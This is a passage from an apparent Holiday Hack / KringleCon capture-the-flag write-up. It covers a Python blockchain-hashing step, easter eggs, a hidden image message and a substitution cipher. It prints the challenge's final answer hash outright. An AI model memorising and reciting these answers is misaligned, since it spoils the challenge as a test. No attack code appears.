    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='blockchain.dat')
    print('C2: Block chain verify: %s' % (c2.verify_chain(official_public_key)))
    #we know jacks block is 1010
    print(c2.blocks[1010])

    jblock=c2.blocks[1010].block_data_signed()
    hash_obj = MD5.new()
    hash_obj.update(jblock)
    print("MD5: "+hash_obj.hexdigest())
    hash_obj = SHA256.new()
    hash_obj.update(jblock)
    print("SHA: "+hash_obj.hexdigest())
    print("PH : "+c2.blocks[1011].previous_hash)

Answers:

MD5: b10b4a6bd373b61f32f4fd3a0cdfbf84
SHA: fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb
PH : b10b4a6bd373b61f32f4fd3a0cdfbf84

The final answer is the SHA hash

Dont forget to revisit Santa’s balcony to get the final credits:

final credits

Easter Eggs

Three French Hens

Translation of the french hens:

  • Pierre - Bonjour - Hello
  • Marie - Joyeuses fêtes! - Expression meaning “Happy Holidays!”
  • Jean-Claude - Jacques DuGivre! - Jack Frost!

11b

Tinsel Upatree talks about the score previously being negative but now a positive score of 4294935958. However the bitwise score of ffffff is 4294967295

  • Score hex(4294967295) ‘0xffffffff’

minus

  • Score hex(4294935958) ‘0xffff8596’

= 31337

Two turtle doves attendees

  • https://kringlecon.com/textures/art/group.png

Iceman proxmark letter

  • https://kringlecon.com/textures/proxmark-email.png

Badges

  • https://kringlecon.com/textures/badge_vet.png
  • https://kringlecon.com/textures/badge_legendary.png
  • https://kringlecon.com/textures/badge.png

Santa portrait

Theres a hidden message

santa pic

Using Gimp, to mess with the color layers, by altering the Hue and Chroma color settings we can make the letters easier to read

santa hidden letters

NOW I SHALL BE OUT OF SIGHT

Garden party

Evan

Evan appears to be speaking jibberish, we also appear to speak jibberish in chat. But it looks like a simple transposition cipher:

a\HYm6.fGniz?QxIKXvTVJLkSRyeAjUOqMZsg93hD,4 pPtFBEu/
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

1ocC25bNrW
1234567890

8
space

G3mFyh\DDPM000GPpPMU\DDPM0000\DDPM000
ImevanBooth???ItstheBooth????Booth???

The cipher also appears to rotate or change after time? (possibly every hour?)

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890
pUSjYQIMA0fNg3\Detvk RaKXnwqCm52ziJuoTFd/,x9H8rEl6WLcOPyVsGZ4b

AFYEwdU//8iBBBA8H8i5U//8iBBBBU//8iBBB
ImEvanBooth???ItstheBooth????Booth???

Share on: